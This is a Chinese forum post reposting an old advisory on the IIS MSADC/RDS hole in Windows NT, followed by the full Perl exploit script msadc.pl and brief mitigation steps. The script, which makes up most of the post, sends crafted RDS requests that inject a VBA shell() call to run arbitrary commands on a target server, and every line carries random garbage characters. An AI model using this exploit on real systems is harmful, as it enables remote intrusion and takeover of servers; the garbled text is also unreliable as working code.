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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 0i9y-32-  
E) >~0jv  
涉及程序: W?G4\ubM3<  
Microsoft NT server abUn{X+f~  
( =->rP  
描述: PEoO s  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 !J[3U   
cU5x8[2  
详细: ~ @Ib:M  
如果你没有时间读详细内容的话,就删除: Bm%:Qc*  
c:\Program Files\Common Files\System\Msadc\msadcs.dll xmTa$tR+  
有关的安全问题就没有了。 N<:5 r  
*J?QXsg  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 mUzNrkG(G  
Y*O7lZuF%  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 S)z jfJR  
关于利用ODBC远程漏洞的描述,请参看: B N@*CG  
dh%C@n:B  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm \i "I1xU  
R5G~A{w0  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Y*3qH]  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp bmc1S  
7(eWBJfTo  
这里不再论述。 Fg?Gx(g4  
T.!GEUQ  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: X}_}`wIn  
(80]xLEBL  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 31wact^  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! =+97VO(w]G  
NDU,9A.P  
C+,;hj  
#将下面这段保存为txt文件,然后: "perl -x 文件名" #18H Z4N  
xzy7I6X  
#!perl ,Vt7Kiu  
# '  G-]>  
# MSADC/RDS 'usage' (aka exploit) script c}Y(Myd  
# UMo=bs  
# by rain.forest.puppy &6PZX0M  
# N6$pOQ  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me oGly|L>  
# beta test and find errors! ,y3o ,gl  
57)S"  
use Socket; use Getopt::Std; s7SW4ff1  
getopts("e:vd:h:XR", \%args); 4kNf4l9Y  
BkJV{>?_+  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; HLAWx/c,j"  
,$mnD@)  
if (!defined $args{h} && !defined $args{R}) { G|Ic6Sd  
print qq~ c&3 ]%urL  
Usage: msadc.pl -h <host> { -d <delay> -X -v } P`5@$1CJ  
-h <host> = host you want to scan (ip or domain) \)DP(wC  
-d <seconds> = delay between calls, default 1 second f$iv+7<B^  
-X = dump Index Server path table, if available FsY}mql  
-v = verbose 6/T hbD-C  
-e = external dictionary file for step 5 4/S 4bk*8  
7h<Q{X<A  
Or a -R will resume a command session 6~0S%Hz   
Y1H8+a5@  
~; exit;} 5l2Ph4(  
22`W*e@6h  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; gT'c`3Gkz  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} f3|ttUX  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} L"1UUOKy  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);  {IYfq)c  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} z;GnQfYG  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } $=4T# W=m  
nu}$wLM  
if (!defined $args{R}){ $ret = &has_msadc; PNd]Xmv)  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} O!lZ%j@%  
R?Ki~'k=  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" B+iVK(j'[v  
. "cmd /c ";  1SP )`Q  
$in=<STDIN>; chomp $in; +e`f|OQ  
$command="cmd /c " . $in ; 4VSlgoz  
i RS )Z )  
if (defined $args{R}) {&load; exit;} ?zQ\u{]=  
c\-5vw||b  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; syA*!Up  
&try_btcustmr; CVo@zr$  
K\nN2y  
print "\nStep 2: Trying to make our own DSN..."; d47b&.v8e  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 5.]+K<:h"A  
vJ7I [Z  
print "\nStep 3: Trying known DSNs..."; LgjL+w19  
&known_dsn; IwKhun  
^L+*}4Dr  
print "\nStep 4: Trying known .mdbs..."; b>hNkVI  
&known_mdb; dZIAotHN:  
H`njKKdR  
if (defined $args{e}){ 7UejK r  
print "\nStep 5: Trying dictionary of DSN names..."; m(s(2wq"f  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } G`8gI)$u  
iP~5=  
print "Sorry Charley...maybe next time?\n"; LpGplD lB  
exit; &&xBq?  
#Bg88!-4  
############################################################################## CuR\JKdRo  
]IoJ(4f  
sub sendraw { # ripped and modded from whisker '+?AaR&p?  
sleep($delay); # it's a DoS on the server! At least on mine... ?!U=S=8  
my ($pstr)=@_; }BKEz[G(  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 2S&e!d-  
die("Socket problems\n"); m beM/  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4{(uw  
select(S); $|=1; X,IjM&o"Y  
print $pstr; my @in=<S>; sHyhR:  
select(STDOUT); close(S); ^rfY9qMJr8  
return @in; w>p0ldi  
} else { die("Can't connect...\n"); }} @v ss:'l  
\6-x~%xK  
############################################################################## }tF/ca:XPQ  
-GD_xk  
sub make_header { # make the HTTP request "yCCei,hA?  
my $msadc=<<EOT NEa :  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 d=o|)kV  
User-Agent: ACTIVEDATA jA$g0>  
Host: $ip s:7^R-"  
Content-Length: $clen Q zPq^  
Connection: Keep-Alive U[*VNJSp  
S(.AE@U  
ADCClientVersion:01.06  iE=Yh  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 =<e|<EwSZ  
i6?,2\K  
--!ADM!ROX!YOUR!WORLD! L@HPU;<  
Content-Type: application/x-varg #:s*)(Qn  
Content-Length: $reqlen P,k~! F^L  
swYlp  
EOT kQ 7$,K#  
; $msadc=~s/\n/\r\n/g; WjW+ EF8(  
return $msadc;} 0^az<!!O#  
:tp2@*] 9Z  
############################################################################## =@AWw:!:,  
V&;1n  
sub make_req { # make the RDS request J 05@SG':  
my ($switch, $p1, $p2)=@_; a|SgGtBtT4  
my $req=""; my $t1, $t2, $query, $dsn; Rq )&v*=  
[9(tIb!x  
if ($switch==1){ # this is the btcustmr.mdb query 'A;G[(SYy  
$query="Select * from Customers where City=" . make_shell(); `uM:>  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . &PaqqU.  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} dF:@BEo  
'iA#lKG  
elsif ($switch==2){ # this is general make table query GwQW I ]  
$query="create table AZZ (B int, C varchar(10))"; k"&l o h  
$dsn="$p1";} XAwo ~E  
oG M Ls  
elsif ($switch==3){ # this is general exploit table query A-^[4&rb  
$query="select * from AZZ where C=" . make_shell(); Q1jU{  
$dsn="$p1";} Ig}G"GR  
lT#&\JQ  
elsif ($switch==4){ # attempt to hork file info from index server k"\%x =#  
$query="select path from scope()"; T$T:~8tK3  
$dsn="Provider=MSIDXS;";} Aayh'xQ  
|t+M/C0y/  
elsif ($switch==5){ # bad query g6{.C7m  
$query="select"; . <`i!Ls  
$dsn="$p1";} ig<Eyr  
[zl@7X1{_  
$t1= make_unicode($query); _8P"/( `Rw  
$t2= make_unicode($dsn); ) DXN|<A  
$req = "\x02\x00\x03\x00"; 0]4kR8R3[  
$req.= "\x08\x00" . pack ("S1", length($t1)); %tul(Z~<1  
$req.= "\x00\x00" . $t1 ; [Oen{c9 A  
$req.= "\x08\x00" . pack ("S1", length($t2)); %KHO}gad1  
$req.= "\x00\x00" . $t2 ; 8@]*X,umc  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; W^npzgDCo  
return $req;} .) uUpY%K^  
B4yU}v  
############################################################################## *GleeJWz  
74Xk^  8  
sub make_shell { # this makes the shell() statement wI><kdz  
return "'|shell(\"$command\")|'";}  UhN16|x  
,@kD9n5#  
############################################################################## 1^XuH('  
Yv k Qh{  
sub make_unicode { # quick little function to convert to unicode d~F`q7F'?]  
my ($in)=@_; my $out; ^`~M f  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } _;(`u!@/{  
return $out;} ]Q,;5>#W  
/_<`#?5T(  
############################################################################## b&[9m\AX`  
aSdh5?  
sub rdo_success { # checks for RDO return success (this is kludge) H e ABU(o4  
my (@in) = @_; my $base=content_start(@in); !>fYD8Ft,  
if($in[$base]=~/multipart\/mixed/){ yTzP{I  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 5v <>%=  
return 0;} A<P3X/i  
bwo-9B  
############################################################################## KiYO,nD;\  
1c_gh12  
sub make_dsn { # this makes a DSN for us q9fCoz  
my @drives=("c","d","e","f"); ' QGacV   
print "\nMaking DSN: "; B?A c  
foreach $drive (@drives) { KwK[)Cvv  
print "$drive: "; ?PVJeFH  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Mx<z34(T  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" bHVAa#  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); (uW/t1  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; rE0?R( _  
return 0 if $2 eq "404"; # not found/doesn't exist h07Z.q ;  
if($2 eq "200") { pm$2*!1F(  
foreach $line (@results) { K*iy^}  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ,<?iL~> %  
} return 0;} d\aKGq;8C  
KilgeN:  
############################################################################## CvfX m  
zvjVM"=G  
sub verify_exists { 0q'd }DW  
my ($page)=@_; *uHL'Pe;m  
my @results=sendraw("GET $page HTTP/1.0\n\n"); b~DtaGh  
return $results[0];} [ []'U'  
0^'A^  
############################################################################## MV +R$  
Dy6uWv,P  
sub try_btcustmr { ?CO\jW_ *n  
my @drives=("c","d","e","f"); $jT&]p  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 2WQKj9iyN  
A{\#.nC/z  
foreach $dir (@dirs) { .N2yn`  
print "$dir -> "; # fun status so you can see progress HR)Dz~Obw  
foreach $drive (@drives) { 5\93-e  
print "$drive: "; # ditto V.zKjoky@  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; @sQ^6FK0G  
$reqlenlen=length( "$reqlen" ); +Qy*s1fit  
$clen= 206 + $reqlenlen + $reqlen; ~3byAL  
<@i.~EL  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); v{{Cj83S+  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} L%](C  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} kwxb~~S}h(  
dxqVZksg(9  
############################################################################## @X`~r8&  
N]n]7(e+0C  
sub odbc_error { i9Fg  
my (@in)=@_; my $base; Q'-V\G)11  
my $base = content_start(@in); VBc[(8o  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this eduaG,+k7p  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; \#4??@+Xf  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; z_%G{H+:l  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; we'<Y  
return $in[$base+4].$in[$base+5].$in[$base+6];} D|-^}I4  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; x._IP,vRx^  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . sYV7t*l  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} []HMUL]"  
5.gM]si  
############################################################################## (<sZ8n=AD  
l;i,V;@ t  
sub verbose { !0ly1T 9  
my ($in)=@_; Y.I-h l1<r  
return if !$verbose; zJ{?'kp  
print STDOUT "\n$in\n";} 6o@}k9AN  
89@\AjI  
############################################################################## 8N<0|u  
W{E2 2J}  
sub save { ,#3}TDC  
my ($p1, $p2, $p3, $p4)=@_; kp3(/`xP  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; _\E{T5  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Gvo(iOU  
close OUT;} @$FE}j_  
|1^>n,C  
############################################################################## 3wXmX  
>Gbj1>C}  
sub load { n^|;J*rD  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; lB!`,>"c  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); eUQ.,mP  
@p=<IN>; close(IN); !:e|M|T'I*  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Hw"ik6  
$target= inet_aton($ip) || die("inet_aton problems"); "|W .o=R  
print "Resuming to $ip ..."; 4R!A.N9  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; WelB+P2  
if($p[1]==1) { hoxn!x$?  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; {zoUU  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; &tY3nr  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ;/i"W   
if (rdo_success(@results)){print "Success!\n";} vQrce&  
else { print "failed\n"; verbose(odbc_error(@results));}} Ta#vD_QP  
elsif ($p[1]==3){ u#5/s8  
if(run_query("$p[3]")){ FFXDt"i2  
print "Success!\n";} else { print "failed\n"; }} .0]4@'  
elsif ($p[1]==4){ wUzQ`h2  
if(run_query($drvst . "$p[3]")){ Hj ]$  
print "Success!\n"; } else { print "failed\n"; }} PoMkFG6  
exit;} ps0wN%tA  
f`<j(.{9F  
############################################################################## _3$@s{k-TI  
gr %8 O-n  
sub create_table { `B+%W  
my ($in)=@_; yu"Ii-9z  
$reqlen=length( make_req(2,$in,"") ) - 28; 2}j2Bhc  
$reqlenlen=length( "$reqlen" ); ={' "ATX(U  
$clen= 206 + $reqlenlen + $reqlen; ~XGO^P"?  
my @results=sendraw(make_header() . make_req(2,$in,"")); a2W}Wb+  
return 1 if rdo_success(@results); 1@IRx{v$  
my $temp= odbc_error(@results); verbose($temp);  j`^':!  
return 1 if $temp=~/Table 'AZZ' already exists/; cT{iMgdI?  
return 0;} AoHA+>&U  
0?uX}8w  
############################################################################## k5G(7Ug=g~  
.d`+#1Ot(  
sub known_dsn { T=cSTS!P;q  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Rf@D]+v  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ;SQ<^"eK  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Wd4fIegk  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); L/(e/Jalg  
(^GVy=  
foreach $dSn (@dsns) { Myss$gt}  
print "."; khT&[!J{>  
next if (!is_access("DSN=$dSn")); ,CW]d#P|  
if(create_table("DSN=$dSn")){ o D;  
print "$dSn successful\n"; ,2S <#p!  
if(run_query("DSN=$dSn")){ /2^cty.BXw  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { J*6I@_{/ U  
print "Something's borked. Use verbose next time\n";}}} print "\n";} E%ea o$  
3ojK2F(1D  
############################################################################## 1wUZ0r1'  
Cw?AP6f%  
sub is_access { xrx{8pf  
my ($in)=@_; 1!/+~J[#  
$reqlen=length( make_req(5,$in,"") ) - 28; { frEVHw  
$reqlenlen=length( "$reqlen" ); WO*yJ`9]  
$clen= 206 + $reqlenlen + $reqlen; zO{$kT\r&  
my @results=sendraw(make_header() . make_req(5,$in,"")); )6)|PzMQ'  
my $temp= odbc_error(@results); j)\&#g0u6  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Fk D  
return 0;} mOwgk7s[ J  
> 7!aZO  
############################################################################## "_+X#P x  
Ku LZg  
sub run_query { wo2^,Y2z+  
my ($in)=@_; g$VcT\X  
$reqlen=length( make_req(3,$in,"") ) - 28; o^~6RZ  
$reqlenlen=length( "$reqlen" ); Gb 61X6  
$clen= 206 + $reqlenlen + $reqlen; &Pxt6M\d  
my @results=sendraw(make_header() . make_req(3,$in,"")); i=_leC)rl  
return 1 if rdo_success(@results); sb4)@/Q7j  
my $temp= odbc_error(@results); verbose($temp); %u }|4BXoh  
return 0;} IyG5Rj2  
(PGmA>BT  
############################################################################## T\c;Ra  
?>MD/l(l  
sub known_mdb { DHpU?;|3  
my @drives=("c","d","e","f","g"); m6V1m0M  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 5X&<+{bX  
my $dir, $drive, $mdb; Bir }X  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 'R_U,9y`  
8DTk<5mW~  
# this is sparse, because I don't know of many 1W~-C B>  
my @sysmdbs=( "\\catroot\\icatalog.mdb", `.a L>hf  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", F$r8 hj`  
"\\system32\\certmdb.mdb", 3sGrX"0D  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% f[7'kv5S  
u#p1W|\4  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", M)Rp+uQ  
"\\cfusion\\cfapps\\forums\\forums_.mdb", hM\QqZFyp  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Te'^O,C)y$  
"\\cfusion\\cfapps\\security\\realm_.mdb", hx4!P(o1  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ==x3|^0y  
"\\cfusion\\database\\cfexamples.mdb", q^sMJ  
"\\cfusion\\database\\cfsnippets.mdb", `Q26Dk  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", N(Y9FD;H  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", {%D "0*^  
"\\cfusion\\brighttiger\\database\\cleam.mdb", jbIWdHZ/US  
"\\cfusion\\database\\smpolicy.mdb", Z.6`O1OY}?  
"\\cfusion\\database\cypress.mdb", +lJuF/sS8m  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 37p0*%a":  
"\\website\\cgi-win\\dbsample.mdb", #BS]wj2#  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", %fP^Fh   
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ~b\7 qx_a9  
); #these are just JoW*)3Z  
foreach $drive (@drives) { p8s2#+/  
foreach $dir (@dirs){ Oi BK  
foreach $mdb (@sysmdbs) { {\|? {8f  
print "."; yE9JMi 0  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 6(9Ta'ywZ  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; lk.Q6saI1  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ F/j=rs,*|D  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; zQ{ Q>"-  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ZfT%EPoZ:  
u MzefRN  
foreach $drive (@drives) { yfTnj:Fz  
foreach $mdb (@mdbs) { n_Um)GI>  
print "."; u;J=g  
if(create_table($drv . $drive . $dir . $mdb)){ \(T; @r  
print "\n" . $drive . $dir . $mdb . " successful\n"; :#TJ-l:#  
if(run_query($drv . $drive . $dir . $mdb)){ 0O-p(L=  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; H'gPGOd  
} else { print "Something's borked. Use verbose next time\n"; }}}}  (i*1M  
} ?[!.TU?4N  
bDUGzezP<  
############################################################################## s+zb[3}  
7]e]Y>wZap  
sub hork_idx { 6/4OFvL1  
print "\nAttempting to dump Index Server tables...\n"; "vLqYc4$  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; nOQ+oqM<  
$reqlen=length( make_req(4,"","") ) - 28; tHoFnPd\|  
$reqlenlen=length( "$reqlen" ); pvmm" f  
$clen= 206 + $reqlenlen + $reqlen; yWzvE:!)  
my @results=sendraw2(make_header() . make_req(4,"","")); 83R"!w18  
if (rdo_success(@results)){ @Jvw"=  
my $max=@results; my $c; my %d; q<c).4  
for($c=19; $c<$max; $c++){ "6Dz~5  
$results[$c]=~s/\x00//g; nt;A7pI`  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; yE"hgdL  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; )W57n)]  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Ix:aHl  
$d{"$1$2"}="";} g-^CuXic  
foreach $c (keys %d){ print "$c\n"; } }$qy_Esl  
} else {print "Index server doesn't seem to be installed.\n"; }} "Wi`S;  
&}T`[ d_Z  
############################################################################## )>\Ne~%  
,?&hqM\  
sub dsn_dict { (3]7[h7  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); $Fr2oSTT)  
while(<IN>){ M8juab%y  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; rcI(6P<*  
next if (!is_access("DSN=$dSn")); ;uoH+`pf  
if(create_table("DSN=$dSn")){ U7PA%  
print "$dSn successful\n"; )%^oR5W  
if(run_query("DSN=$dSn")){ 4D58cR}  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {  ~-M7  
print "Something's borked. Use verbose next time\n";}}} f7s]:n*Ih  
print "\n"; close(IN);} P\2QH@p@t  
]-* }-j`  
############################################################################## O)9T|, U  
U +mx@C_  
sub sendraw2 { # ripped and modded from whisker ' J-(v  
sleep($delay); # it's a DoS on the server! At least on mine... _|A)ueY  
my ($pstr)=@_; $~D`-+J  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || :~T:&;q0  
die("Socket problems\n"); uL-i>!"L!}  
if(connect(S,pack "SnA4x8",2,80,$target)){ WX0@H[$i#  
print "Connected. Getting data"; y~- ?   
open(OUT,">raw.out"); my @in; W 8E<P y  
select(S); $|=1; print $pstr; #mllVQ  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} vjXvjv{t  
close(OUT); select(STDOUT); close(S); return @in; v11mu2  
} else { die("Can't connect...\n"); }} #h r!7Kc;N  
U Ciq'^,  
############################################################################## J puW !I  
>Y2Rr9  
sub content_start { # this will take in the server headers /AMtT%91  
my (@in)=@_; my $c; 5lU`o  
for ($c=1;$c<500;$c++) { !/jx4 w~R  
if($in[$c] =~/^\x0d\x0a/){ M/1Q/;0P  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 4&y_+  
else { return $c+1; }}} L\-T[w),z7  
return -1;} # it should never get here actually HvTi^Fb\a  
<M$hj6.tn  
############################################################################## QT|mN  
CS"p[-0  
sub funky { ?<nz2 piP,  
my (@in)=@_; my $error=odbc_error(@in); |_w*:NCV5  
if($error=~/ADO could not find the specified provider/){ wV-cpJ,}  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Z&.FJZUP  
exit;} "V9!srIC  
if($error=~/A Handler is required/){ RisrU  
print "\nServer has custom handler filters (they most likely are patched)\n"; *K+*0_  
exit;} G %#us3x  
if($error=~/specified Handler has denied Access/){ F5MWxAS,>  
print "\nServer has custom handler filters (they most likely are patched)\n"; s#d# *pgzh  
exit;}} ^ 1J;SO|  
n:#ji|wM  
############################################################################## Xp{gh@#dr  
JGO>X|T  
sub has_msadc { !4 hs9b  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); @x=CMF15  
my $base=content_start(@results); B' :ZX-Q)  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); RuXK` y Sv  
return 0;} CLYcg$V  
nEGku]pCH{  
######################## _8S).*  
KX9ZwsC0  
k~q[qKb8y:  
解决方案: +pF z&)?  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll N7;E 2 X  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ~P/G^cV3s  
D^TKv;%d  
拿出来充数 哈哈
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